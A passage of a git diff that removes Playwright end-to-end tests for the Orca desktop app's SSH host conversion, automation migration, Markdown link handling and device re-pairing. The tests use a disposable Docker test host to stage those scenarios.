ORCAD_CONVERT_HOST_ENV, - startOrcadConvertHost, - type OrcadConvertHost -} from './helpers/orcad-convert-host' - -const HOST = process.env[ORCAD_CONVERT_HOST_ENV] -const TEMPLATE_SOURCE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE -const DAY_MS = 86_400_000 - -test.skip( - HOST !== 'docker' || !TEMPLATE_SOURCE, - `Set ${ORCAD_CONVERT_HOST_ENV}=docker and ORCA_E2E_ORCAD_CONVERT_TEMPLATE` -) - -let host: OrcadConvertHost | null = null -test.afterEach(() => { - host?.cleanup() - host = null -}) - -function seedEnabledAutomation(userDataDir: string, repoId: string, targetId: string): string { - const now = Date.now() - const automationId = `automation-${now}` - mutateStoppedProfileState(userDataDir, (state: Record) => { - state.automations = [ - { - id: automationId, - name: 'nightly check', - prompt: 'check', - precheck: null, - agentId: 'claude', - projectId: repoId, - executionTargetType: 'ssh', - executionTargetId: targetId, - schedulerOwner: 'ssh_bridge', - workspaceMode: 'new_per_run', - workspaceId: null, - baseBranch: null, - reuseSession: false, - timezone: 'UTC', - rrule: 'FREQ=DAILY', - dtstart: now - 2 * DAY_MS, - enabled: true, - nextRunAt: now + DAY_MS, - missedRunPolicy: 'run_once_within_grace', - missedRunGraceMinutes: 60, - createdAt: now - 2 * DAY_MS, - updatedAt: now - 2 * DAY_MS - } - ] - state.automationRuns = [1, 2].map((n) => ({ - id: `${automationId}-run-${n}`, - automationId, - title: `run ${n}`, - scheduledFor: now - n * 3_600_000, - status: 'completed', - trigger: 'scheduled', - workspaceId: null, - sessionKind: 'terminal', - chatSessionId: null, - terminalSessionId: null, - terminalPaneKey: null, - terminalPtyId: null, - outputSnapshot: null, - precheckResult: null, - usage: null, - error: null, - startedAt: now - n * 3_600_000, - dispatchedAt: now - n * 3_600_000, - createdAt: now - n * 3_600_000, - runNumber: n - })) - }) - return automationId -} - -type ServerAutomation = { id: string; enabled: boolean; nextRunAt: number } - -test('an enabled SSH automation moves to the host server and stays on there', async ({ - testRepoPath -}, testInfo) => { - // Starts a Docker host and two app launches, then converts the host. - test.setTimeout(10 * 60_000) - host = startOrcadConvertHost('docker', testInfo) - const session = createRestartSession(testInfo, { ORCA_ORCAD_TEMPLATE_PATH: TEMPLATE_SOURCE! }) - let app: ElectronApplication | null = null - try { - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await first.page.evaluate((repoPath) => window.api.repos.add({ path: repoPath }), testRepoPath) - await session.close(app) - app = null - const seeded = seedRelayEraProfile(session.userDataDir, host.input, { - repoPath: host.remoteRepoPath, - folderPath: host.remoteFolderPath - }) - const automationId = seedEnabledAutomation(session.userDataDir, seeded.repoId, seeded.targetId) - const upgraded = await session.launch() - app = upgraded.app - const page = upgraded.page - await waitForSessionReady(page) - const section = await openSshHostSettings(page) - const card = section.locator( - `[data-ssh-target-card][data-ssh-target-label="${host.input.label}"]` - ) - await card.hover() - await card.getByRole('button', { name: 'Connect', exact: true }).click() - await expect - .poll(() => managedServer(page, seeded.targetId), { timeout: 4 * 60_000 }) - .toMatchObject({ kind: 'managed' }) - await expect(card).toContainText('Connected', { timeout: 30_000 }) - await expect(card).not.toContainText('cannot move yet') - await page.screenshot({ path: testInfo.outputPath('moved.png') }) - - const environmentId = await page.evaluate((id) => { - const server = window.__store?.getState().sshConnectionStates.get(id)?.managedServer - return server?.kind === 'managed' ? server.environmentId : null - }, seeded.targetId) - if (!environmentId) { - throw new Error('The host connected without a managed server') - } - const automations: ServerAutomation[] = JSON.parse( - await serverCall(page, environmentId, 'automation.list') - ).result.automations - const moved = automations.find((entry) => entry.id === automationId) - expect(moved?.enabled).toBe(true) - expect(moved?.nextRunAt).toBeGreaterThan(Date.now()) - const runs: unknown[] = JSON.parse( - await serverCall(page, environmentId, 'automation.runs', { automationId }) - ).result.runs - expect(runs).toHaveLength(2) - - await session.close(app) - app = null - const desktop = readPersistedProfileState(session.userDataDir).automations - expect(desktop).toEqual([expect.objectContaining({ id: automationId, enabled: false })]) - } finally { - if (app) { - await session.close(app) - } - await session.dispose() - } -}) diff --git a/tests/e2e/ssh-orcad-identity-file-tokens.spec.ts b/tests/e2e/ssh-orcad-identity-file-tokens.spec.ts deleted file mode 100644 index 6cd2cc09cf8..00000000000 --- a/tests/e2e/ssh-orcad-identity-file-tokens.spec.ts +++ /dev/null @@ -1,84 +0,0 @@ -// #33849: an ~/.ssh/config host whose IdentityFile uses OpenSSH tokens connects with that key, not a password prompt. -// ORCA_E2E_ORCAD_CONVERT_HOST=docker; ORCA_E2E_ORCAD_CONVERT_TEMPLATE must be built for the Docker host. -import { copyFileSync, mkdtempSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { managedServer } from './helpers/orcad-convert-flow' -import { openSshHostSettings, seedIsolatedSshConfig } from './helpers/ssh-config-host-picker' -import { - ORCAD_CONVERT_HOST_ENV, - startOrcadConvertHost, - type OrcadConvertHost -} from './helpers/orcad-convert-host' - -const HOST = process.env[ORCAD_CONVERT_HOST_ENV] -const TEMPLATE_SOURCE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE - -test.skip( - HOST !== 'docker' || !TEMPLATE_SOURCE, - `Set ${ORCAD_CONVERT_HOST_ENV}=docker and ORCA_E2E_ORCAD_CONVERT_TEMPLATE` -) -test.use({ - seedTestRepo: false, - orcaAppExtraEnv: { ORCA_ORCAD_TEMPLATE_PATH: TEMPLATE_SOURCE ?? '', SSH_AUTH_SOCK: '' } -}) - -let host: OrcadConvertHost | null = null -let keyDir: string | null = null -test.afterEach(() => { - host?.cleanup() - host = null - if (keyDir) { - rmSync(keyDir, { recursive: true, force: true }) - keyDir = null - } -}) - -test('an IdentityFile path with %r and %p tokens is the key Connect uses', async ({ - electronApp, - orcaPage -}, testInfo) => { - // Starts a Docker host and installs Orca's server there. - test.setTimeout(6 * 60_000) - host = startOrcadConvertHost('docker', testInfo) - keyDir = mkdtempSync(path.join(os.tmpdir(), 'orca-identity-tokens-')) - // %r and %p expand to root and the mapped port; ssh -G prints them unexpanded. - copyFileSync(host.input.identityFile!, path.join(keyDir, `id-root-${host.input.port}`)) - const alias = `orca-tokens-${host.input.port}` - await seedIsolatedSshConfig( - electronApp, - [ - `Host ${alias}`, - ` HostName ${host.input.host}`, - ` Port ${host.input.port}`, - ' User root', - ` IdentityFile ${keyDir}/id-%r-%p`, - ' IdentitiesOnly yes', - '' - ].join('\n') - ) - await waitForSessionReady(orcaPage) - const targetId = await orcaPage.evaluate(async (configHost) => { - const { target } = await window.api.ssh.addTarget({ - target: { - label: configHost, - configHost, - host: configHost, - port: 22, - username: '', - source: 'ssh-config' - } - }) - return target.id - }, alias) - const section = await openSshHostSettings(orcaPage) - const card = section.locator(`[data-ssh-target-card][data-ssh-target-label="${alias}"]`) - await card.hover() - await card.getByRole('button', { name: 'Connect', exact: true }).click() - await expect - .poll(() => managedServer(orcaPage, targetId), { timeout: 4 * 60_000 }) - .toMatchObject({ kind: 'managed' }) - await expect(orcaPage.getByRole('dialog', { name: 'SSH Password' })).toHaveCount(0) -}) diff --git a/tests/e2e/ssh-orcad-markdown-conversion.spec.ts b/tests/e2e/ssh-orcad-markdown-conversion.spec.ts deleted file mode 100644 index 624989c9527..00000000000 --- a/tests/e2e/ssh-orcad-markdown-conversion.spec.ts +++ /dev/null @@ -1,88 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { serverCall } from './helpers/orcad-convert-flow' -import { - launchManagedWorkspace, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() - -test('retained Markdown lists documents on its managed owner after conversion', async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. -{}, testInfo) => { - test.setTimeout(4 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - const marker = `REMOTE_MARKDOWN_${Date.now()}` - host.exec!( - `printf '# ${marker}\n\nHost-owned Markdown.\n\n[[NOTES]]\n' > '${host.remoteRepoPath}/README.md'` - ) - host.exec!(`printf '# SIBLING_${marker}\n' > '${host.remoteRepoPath}/NOTES.md'`) - const errors: string[] = [] - let failureScreenshot: Promise | undefined - const { page, seeded, environmentId } = await launchManagedWorkspace(fixture, { - onLaunch: (page) => { - page.on('console', (message) => { - if (message.type() === 'error') { - errors.push(message.text()) - console.log('[renderer-error]', message.text()) - if ( - message.text().includes('Failed to list markdown documents') && - !failureScreenshot - ) { - failureScreenshot = (async () => { - await page.screenshot({ path: testInfo.outputPath('markdown-list-failure.png') }) - })() - } - } - }) - } - }) - await expect(page.locator('.rich-markdown-editor')).toContainText(marker, { timeout: 30_000 }) - console.log( - '[markdown-conversion]', - JSON.stringify({ - errors, - files: await page.evaluate(() => window.__store?.getState().openFiles) - }) - ) - await page.screenshot({ path: testInfo.outputPath('markdown-converted.png') }) - await failureScreenshot - expect(errors.filter((e) => e.includes('Failed to list markdown documents'))).toEqual([]) - expect( - await serverCall(page, environmentId, 'files.listMarkdownDocuments', { - worktree: `id:${seeded.worktreeId}` - }) - ).toContain('NOTES.md') - const link = page.locator('.rich-markdown-editor [data-doc-link-target="NOTES"]') - await expect(link).toBeVisible() - console.log('[rich-link-state]', await link.getAttribute('class')) - await page.evaluate( - ({ filePath, worktreeId, environmentId }) => { - window.__store?.getState().openMarkdownPreview({ - filePath, - relativePath: 'README.md', - worktreeId, - language: 'markdown', - runtimeEnvironmentId: environmentId - }) - }, - { - filePath: seeded.sessionFilePath, - worktreeId: seeded.worktreeId, - environmentId - } - ) - const previewLink = page - .locator('.markdown-preview') - .getByRole('link', { name: 'NOTES', exact: true }) - await expect(previewLink).toBeVisible() - await expect(previewLink).not.toHaveClass(/markdown-doc-link-broken/) - await previewLink.click() - await expect( - page.getByRole('heading', { name: `SIBLING_${marker}`, exact: true }) - ).toBeVisible() - expect(errors.filter((e) => e.includes('Failed to list markdown documents'))).toEqual([]) - await page.screenshot({ path: testInfo.outputPath('markdown-converted-ready.png') }) - }) -}) diff --git a/tests/e2e/ssh-orcad-markdown-link-refresh.spec.ts b/tests/e2e/ssh-orcad-markdown-link-refresh.spec.ts deleted file mode 100644 index 97e314b5623..00000000000 --- a/tests/e2e/ssh-orcad-markdown-link-refresh.spec.ts +++ /dev/null @@ -1,53 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { serverCall } from './helpers/orcad-convert-flow' -import { - launchManagedWorkspace, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() - -test('retained rich Markdown links refresh after remote document metadata arrives', async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. -{}, testInfo) => { - test.setTimeout(4 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - const marker = `REMOTE_MARKDOWN_${Date.now()}` - host.exec!( - `printf '# ${marker}\n\nHost-owned Markdown.\n\n[[NOTES]]\n' > '${host.remoteRepoPath}/README.md'` - ) - host.exec!(`printf '# SIBLING_${marker}\n' > '${host.remoteRepoPath}/NOTES.md'`) - const { page, seeded, environmentId } = await launchManagedWorkspace(fixture, { - onLaunch: (page) => { - page.on('console', (message) => { - if (message.type() === 'error') { - console.log('[renderer-error]', message.text()) - } - }) - } - }) - await expect(page.locator('.rich-markdown-editor')).toContainText(marker, { timeout: 30_000 }) - const documents = await serverCall(page, environmentId, 'files.listMarkdownDocuments', { - worktree: `id:${seeded.worktreeId}` - }) - console.log('[host-documents]', documents) - expect(documents).toContain('NOTES.md') - const link = page.locator('.rich-markdown-editor [data-doc-link-target="NOTES"]') - await expect(link).toBeVisible() - console.log('[rich-link-state]', await link.getAttribute('class')) - await page.screenshot({ path: testInfo.outputPath('rich-link-state.png') }) - await expect(link).not.toHaveClass(/rich-markdown-doc-link--missing/, { timeout: 10_000 }) - await link.click({ modifiers: [process.platform === 'darwin' ? 'Meta' : 'Control'] }) - await expect( - page.getByRole('heading', { name: `SIBLING_${marker}`, exact: true }) - ).toBeVisible() - const opened = await page.evaluate( - (filePath) => window.__store?.getState().openFiles.find((file) => file.filePath === filePath), - `${host.remoteRepoPath}/NOTES.md` - ) - console.log('[rich-link-opened-file]', JSON.stringify(opened)) - expect(opened?.runtimeEnvironmentId).toBe(environmentId) - await page.screenshot({ path: testInfo.outputPath('markdown-converted-ready.png') }) - }) -}) diff --git a/tests/e2e/ssh-orcad-markdown-live-documents.spec.ts b/tests/e2e/ssh-orcad-markdown-live-documents.spec.ts deleted file mode 100644 index 8268aa4b10f..00000000000 --- a/tests/e2e/ssh-orcad-markdown-live-documents.spec.ts +++ /dev/null @@ -1,91 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { serverCall } from './helpers/orcad-convert-flow' -import { - activateManagedWorkspace, - launchConvertedProfile, - relaunchManagedApp, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() - -function captureRendererMessages(page: Page, label: string): void { - page.on('console', (message) => { - if ( - message.type() === 'error' || - message.type() === 'warning' || - message.text().startsWith('[file-change-event]') - ) { - console.log(label, message.text()) - } - }) -} - -test('open remote Markdown previews discover host-created documents', async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. -{}, testInfo) => { - test.setTimeout(4 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - const marker = `REMOTE_MARKDOWN_${Date.now()}` - host.exec!( - `printf '# ${marker}\n\nHost-owned Markdown.\n\n[[LATE]]\n' > '${host.remoteRepoPath}/README.md'` - ) - const { seeded, environmentId } = await launchConvertedProfile(fixture, { - onLaunch: (page) => captureRendererMessages(page, '[renderer-error]') - }) - const page = await relaunchManagedApp(fixture, (page) => - captureRendererMessages(page, '[renderer-event]') - ) - await activateManagedWorkspace(page, seeded.worktreeId, environmentId) - await expect(page.locator('.rich-markdown-editor')).toContainText(marker, { timeout: 30_000 }) - await page.evaluate( - ({ filePath, worktreeId, environmentId }) => { - window.__store?.getState().openMarkdownPreview({ - filePath, - relativePath: 'README.md', - worktreeId, - language: 'markdown', - runtimeEnvironmentId: environmentId - }) - }, - { - filePath: seeded.sessionFilePath, - worktreeId: seeded.worktreeId, - environmentId - } - ) - const link = page.locator('.markdown-preview').getByRole('link', { name: 'LATE', exact: true }) - await expect(link).toBeVisible() - await expect(link).toHaveClass(/markdown-doc-link-broken/) - await page.evaluate(() => { - window.addEventListener('orca:worktree-file-change', (event) => { - if (event instanceof CustomEvent) { - console.log('[file-change-event]', JSON.stringify(event.detail)) - } - }) - }) - host.exec!(`printf '# LATE_${marker}\n' > '${host.remoteRepoPath}/LATE.md'`) - const documents = await serverCall(page, environmentId, 'files.listMarkdownDocuments', { - worktree: `id:${seeded.worktreeId}` - }) - console.log('[host-created-documents]', documents) - expect(documents).toContain('LATE.md') - await expect(page.getByText('LATE.md', { exact: true })).toBeVisible({ timeout: 30_000 }) - console.log('[open-preview-link]', await link.getAttribute('class')) - await page.screenshot({ path: testInfo.outputPath('live-document-observed.png') }) - await expect(link).not.toHaveClass(/markdown-doc-link-broken/, { timeout: 10_000 }) - console.log('[resolved-preview-link]', await link.getAttribute('class')) - await page.screenshot({ path: testInfo.outputPath('live-document-created.png') }) - host.exec!(`rm '${host.remoteRepoPath}/LATE.md'`) - const removed = await serverCall(page, environmentId, 'files.listMarkdownDocuments', { - worktree: `id:${seeded.worktreeId}` - }) - console.log('[host-removed-documents]', removed) - expect(removed).not.toContain('LATE.md') - await expect(page.getByText('LATE.md', { exact: true })).not.toBeVisible({ timeout: 30_000 }) - await expect(link).toHaveClass(/markdown-doc-link-broken/, { timeout: 10_000 }) - await page.screenshot({ path: testInfo.outputPath('live-document-removed.png') }) - }) -}) diff --git a/tests/e2e/ssh-orcad-move-anyway-inline.spec.ts b/tests/e2e/ssh-orcad-move-anyway-inline.spec.ts deleted file mode 100644 index 6b26b8be3d6..00000000000 --- a/tests/e2e/ssh-orcad-move-anyway-inline.spec.ts +++ /dev/null @@ -1,140 +0,0 @@ -// #29083: a host whose move a saved automation refuses offers Move anyway on its card, and that connects it. -// ORCA_E2E_ORCAD_CONVERT_HOST=docker; ORCA_E2E_ORCAD_CONVERT_TEMPLATE must be built for the Docker host. -import type { ElectronApplication } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { seedRelayEraProfile } from './helpers/orcad-upgrade-profile' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { openSshHostSettings } from './helpers/ssh-config-host-picker' -import { managedServer } from './helpers/orcad-convert-flow' -import { - ORCAD_CONVERT_HOST_ENV, - startOrcadConvertHost, - type OrcadConvertHost -} from './helpers/orcad-convert-host' - -const HOST = process.env[ORCAD_CONVERT_HOST_ENV] -const TEMPLATE_SOURCE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE - -test.skip( - HOST !== 'docker' || !TEMPLATE_SOURCE, - `Set ${ORCAD_CONVERT_HOST_ENV}=docker and ORCA_E2E_ORCAD_CONVERT_TEMPLATE` -) - -let host: OrcadConvertHost | null = null -test.afterEach(() => { - host?.cleanup() - host = null -}) - -// Pinned to an earlier registration of this host, so the server can't take it over and it stays behind. -function seedStrandedAutomation(userDataDir: string, repoId: string, targetId: string): void { - const now = Date.now() - const automationId = `automation-${now}` - mutateStoppedProfileState(userDataDir, (state: Record) => { - state.automations = [ - { - id: automationId, - name: 'nightly check', - prompt: 'check', - precheck: null, - agentId: 'claude', - projectId: repoId, - executionTargetType: 'ssh', - executionTargetId: targetId, - executionTargetGeneration: 9_999, - schedulerOwner: 'ssh_bridge', - workspaceMode: 'new_per_run', - workspaceId: null, - baseBranch: null, - reuseSession: false, - timezone: 'UTC', - rrule: 'FREQ=DAILY', - dtstart: now - 86_400_000, - enabled: true, - nextRunAt: now + 86_400_000, - missedRunPolicy: 'run_once_within_grace', - missedRunGraceMinutes: 60, - createdAt: now - 86_400_000, - updatedAt: now - 86_400_000 - } - ] - state.automationRuns = [1, 2].map((n) => ({ - id: `${automationId}-run-${n}`, - automationId, - title: `run ${n}`, - scheduledFor: now - n * 3_600_000, - status: 'completed', - trigger: 'scheduled', - workspaceId: null, - sessionKind: 'terminal', - chatSessionId: null, - terminalSessionId: null, - terminalPaneKey: null, - terminalPtyId: null, - outputSnapshot: null, - precheckResult: null, - usage: null, - error: null, - startedAt: now - n * 3_600_000, - dispatchedAt: now - n * 3_600_000, - createdAt: now - n * 3_600_000, - runNumber: n - })) - }) -} - -test('a move a saved automation refuses offers Move anyway on the host card', async ({ - testRepoPath -}, testInfo) => { - // Starts a Docker host and two app launches, then converts the host. - test.setTimeout(10 * 60_000) - host = startOrcadConvertHost('docker', testInfo) - const session = createRestartSession(testInfo, { ORCA_ORCAD_TEMPLATE_PATH: TEMPLATE_SOURCE! }) - let app: ElectronApplication | null = null - try { - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await first.page.evaluate((repoPath) => window.api.repos.add({ path: repoPath }), testRepoPath) - await session.close(app) - app = null - const seeded = seedRelayEraProfile(session.userDataDir, host.input, { - repoPath: host.remoteRepoPath, - folderPath: host.remoteFolderPath - }) - seedStrandedAutomation(session.userDataDir, seeded.repoId, seeded.targetId) - const upgraded = await session.launch() - app = upgraded.app - const page = upgraded.page - await waitForSessionReady(page) - const section = await openSshHostSettings(page) - const card = section.locator( - `[data-ssh-target-card][data-ssh-target-label="${host.input.label}"]` - ) - await card.hover() - await card.getByRole('button', { name: 'Connect', exact: true }).click() - await expect(card).toContainText( - 'Some saved items for this host can’t move to its Orca server: automations (1), automation runs (2). Move anyway connects the host and keeps them on this computer.', - { timeout: 4 * 60_000 } - ) - const toast = page.locator('[data-sonner-toast]').filter({ hasText: 'automations (1)' }) - await expect(toast.getByRole('button', { name: 'Move anyway…' })).toBeVisible() - const moveAnyway = card.getByRole('button', { name: 'Move anyway…', exact: true }) - await expect(moveAnyway).toBeVisible() - await page.screenshot({ path: testInfo.outputPath('refused.png') }) - await moveAnyway.click() - await page.getByRole('dialog').getByRole('button', { name: 'Move anyway', exact: true }).click() - await expect - .poll(() => managedServer(page, seeded.targetId), { timeout: 4 * 60_000 }) - .toMatchObject({ kind: 'managed' }) - await expect(card).toContainText('Connected', { timeout: 30_000 }) - await page.screenshot({ path: testInfo.outputPath('moved.png') }) - } finally { - if (app) { - await session.close(app) - } - await session.dispose() - } -}) diff --git a/tests/e2e/ssh-orcad-pairing-repair.spec.ts b/tests/e2e/ssh-orcad-pairing-repair.spec.ts deleted file mode 100644 index c11e31b34d9..00000000000 --- a/tests/e2e/ssh-orcad-pairing-repair.spec.ts +++ /dev/null @@ -1,217 +0,0 @@ -// After host-side device removal/restart, re-pair over SSH and restore pane input automatically. -// A changed host key must refuse repair and retain the saved pairing. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { readPairedPaneContent } from './helpers/paired-host-terminal' -import { reconnect } from './helpers/orcad-convert-flow' -import { startFreezableTcpProxy, type FreezableTcpProxy } from './helpers/freezable-tcp-proxy' -import { - echoMarker, - expectTerminalAnswers, - launchManagedWorkspace, - openTerminalTab, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') - -const DEVICES = '/root/.orca/orca-devices.json' -const KEYPAIR = '/root/.orca/orca-e2ee-keypair.json' -const KILL_ORCAD = 'kill -TERM $(cat /root/.orca-remote/orcad-*/.orcad-pid)' -// Ids only: the rows also hold device tokens, which must stay out of CI logs. -const DEVICE_IDS = - `node -e 'console.log(JSON.parse(require("fs").readFileSync(process.argv[1],"utf8"))` + - `.map((d)=>d.deviceId).join(","))' ${DEVICES}` - -async function pairing(page: Page, environmentId: string) { - const environment = (await page.evaluate(() => window.api.runtimeEnvironments.list())).find( - (entry) => entry.id === environmentId - ) - return { - revision: environment?.pairingRevision ?? environment?.createdAt ?? null, - deviceId: environment?.pairedDeviceId ?? null - } -} - -function reconnectBanner(page: Page, tabId: string): Promise { - return page.evaluate((id) => { - const pane = document.querySelector(`[data-terminal-tab-id="${id}"]`) ?? document - return ( - pane - .querySelector('[data-terminal-remote-runtime-reconnect-banner]') - ?.getAttribute('data-terminal-remote-runtime-reconnect-banner') ?? null - ) - }, tabId) -} - -test('a host that dropped this desktop is paired again over SSH and its pane answers', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(15 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - const { page, seeded, environmentId } = await launchManagedWorkspace(fixture) - const tabId = await openTerminalTab(page, seeded.worktreeId) - await echoMarker(page, tabId, 'BEFORE_REVOKE') - const before = await pairing(page, environmentId) - expect(before.deviceId).toBeTruthy() - - // Host side, as an admin would: remove this desktop's device, then restart the server. - host.exec!( - `node -e 'const f=process.argv[1];const fs=require("fs");` + - `fs.writeFileSync(f,JSON.stringify(JSON.parse(fs.readFileSync(f,"utf8"))` + - `.filter((d)=>d.deviceId!==process.argv[2])))' ${DEVICES} ${before.deviceId}` - ) - host.exec!(KILL_ORCAD) - // Evidence for a revoked row the old server wrote back while stopping. - console.log('[pairing-repair] device ids after kill', host.exec!(DEVICE_IDS)) - - try { - await expectTerminalAnswers(page, tabId, 4 * 60_000) - } catch (error) { - console.log( - '[pairing-repair] evidence', - JSON.stringify({ - banner: await reconnectBanner(page, tabId), - pane: (await readPairedPaneContent(page, tabId)).slice(-600), - devices: host.exec!(DEVICE_IDS) - }) - ) - await page.screenshot({ path: testInfo.outputPath('after-revoke.png') }) - throw error - } - const after = await pairing(page, environmentId) - console.log('[pairing-repair] device ids after reconnect', host.exec!(DEVICE_IDS), { - revoked: before.deviceId, - paired: after.deviceId - }) - expect(after.revision).not.toBe(before.revision) - expect(after.deviceId).not.toBe(before.deviceId) - await expect.poll(() => reconnectBanner(page, tabId)).toBeNull() - await page.screenshot({ path: testInfo.outputPath('repaired.png') }) - }) -}) - -test('a server that now holds another host key is never paired, and connecting says so', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(15 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - const { page, seeded, environmentId } = await launchManagedWorkspace(fixture) - const tabId = await openTerminalTab(page, seeded.worktreeId) - await echoMarker(page, tabId, 'BEFORE_RESET') - const before = await pairing(page, environmentId) - - // The server's identity is reset: a new key and no devices, as a wiped profile would have. - host.exec!(`rm -f ${KEYPAIR} ${DEVICES} && ${KILL_ORCAD}`) - - // The first connect may find the server down and start it; the next one meets the new key. - let connected = '' - await expect - .poll( - async () => { - // The helper throws when the connect is refused; the refusal is the answer here. - connected = await reconnect(page, seeded.targetId).catch((error: unknown) => - String(error) - ) - return connected - }, - { timeout: 3 * 60_000, intervals: [1_000, 5_000] } - ) - .toMatch(/orcad_identity_mismatch/) - expect(connected).not.toMatch(/pairing_repair/) - expect(await pairing(page, environmentId)).toEqual(before) - // Nothing re-pairs in the background either. - await page.waitForTimeout(20_000) - expect(await pairing(page, environmentId)).toEqual(before) - await page.screenshot({ path: testInfo.outputPath('foreign.png') }) - }) -}) - -// Restart behind the network cut so the first client observation is the refusal from the deliberately staged offer. -const CAPTURE_LAUNCH = - 'f=$(ls /root/.orca-remote/orcad-*/.orcad-pid) && pid=$(cat "$f") && echo "$pid" > /tmp/orcad-old-pid && dirname "$f" > /tmp/orcad-dir && ' + - "tr '\\0' '\\n' < /proc/$pid/cmdline > /tmp/orcad-cmd && tr '\\0' '\\n' < /proc/$pid/environ > /tmp/orcad-env" -const RELAUNCH = - 'd=$(cat /tmp/orcad-dir) && cd "$d" && : > .orcad-readiness && ' + - 'mapfile -t c < /tmp/orcad-cmd && mapfile -t e < /tmp/orcad-env && ' + - '{ env -i "${e[@]}" nohup "${c[@]}" > .orcad-readiness 2>/dev/null < /dev/null & echo $! > .orcad-pid; }' -const WITHDRAW_OFFER = - `node -e 'const fs=require("fs");const f=process.argv[1];fs.writeFileSync(f,fs.readFileSync(f,"utf8")` + - `.split("\\n").map((l)=>{try{const j=JSON.parse(l);if(j&&j.pairing){j.pairing={available:false,` + - `reason:"disabled_by_operator",guidance:"no offer in this test"}}return JSON.stringify(j)}catch{return l}})` + - `.join("\\n"))' "$(cat /tmp/orcad-dir)/.orcad-readiness"` - -test('a failed re-pair says why, and the pane stops reconnecting with that verdict', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(15 * 60_000) - const opened: FreezableTcpProxy[] = [] - try { - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - const proxy = await startFreezableTcpProxy(host.input.host, host.input.port ?? 22) - opened.push(proxy) - host.input = { ...host.input, port: proxy.port } - const { page, seeded, environmentId } = await launchManagedWorkspace(fixture) - const tabId = await openTerminalTab(page, seeded.worktreeId) - await echoMarker(page, tabId, 'BEFORE_REVOKE') - const before = await pairing(page, environmentId) - - host.exec!(CAPTURE_LAUNCH) - proxy.cut('reset') - host.exec!( - `node -e 'const f=process.argv[1];const fs=require("fs");` + - `fs.writeFileSync(f,JSON.stringify(JSON.parse(fs.readFileSync(f,"utf8"))` + - `.filter((d)=>d.deviceId!==process.argv[2])))' ${DEVICES} ${before.deviceId}` - ) - host.exec!( - `${KILL_ORCAD}; while kill -0 $(cat /tmp/orcad-old-pid) 2>/dev/null; do sleep 0.2; done; true` - ) - host.exec!(RELAUNCH) - await expect - .poll( - () => - host.exec!('test -s "$(cat /tmp/orcad-dir)/.orcad-readiness" && echo ready || true'), - { - timeout: 60_000 - } - ) - .toContain('ready') - host.exec!(WITHDRAW_OFFER) - proxy.restore() - - try { - // The pane stops "Reconnecting" and says why, rather than a bare "disconnected". - await expect - .poll(() => reconnectBanner(page, tabId), { timeout: 4 * 60_000 }) - .toBe('pairing-refused') - } catch (error) { - console.log( - '[pairing-repair] evidence', - JSON.stringify({ - banner: await reconnectBanner(page, tabId), - status: await page.evaluate( - (id) => window.__store?.getState().runtimeStatusByEnvironmentId.get(id)?.snapshot, - environmentId - ), - ssh: await page.evaluate( - (id) => window.__store?.getState().sshConnectionStates.get(id), - seeded.targetId - ), - readiness: host.exec!('cat "$(cat /tmp/orcad-dir)/.orcad-readiness" | head -c 600') - }) - ) - await page.screenshot({ path: testInfo.outputPath('repair-failed-evidence.png') }) - throw error - } - expect(await page.evaluate(() => document.body.innerText)).toMatch( - /couldn.t pair with it again over SSH/ - ) - expect(await pairing(page, environmentId)).toEqual(before) - await page.screenshot({ path: testInfo.outputPath('repair-failed.png') }) - }) - } finally { - await Promise.all(opened.map((proxy) => proxy.close())) - } -}) diff --git a/tests/e2e/ssh-orcad-shared-login-migration.spec.ts b/tests/e2e/ssh-orcad-shared-login-migration.spec.ts deleted file mode 100644 index c215750592a..00000000000 --- a/tests/e2e/ssh-orcad-shared-login-migration.spec.ts +++ /dev/null @@ -1,174 +0,0 @@ -// On one real Docker SSH login, desktop B converts relay-era projects by pairing to desktop A’s different-version running server. -// Link existing repositories without duplicate import, upload or restart; preserve A’s live terminal. -import { createHash } from 'node:crypto' -import { appendFileSync, cpSync, readFileSync, writeFileSync } from 'node:fs' -import { join } from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { z } from 'zod' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { managedServer, reconnect, serverCall } from './helpers/orcad-convert-flow' -import { 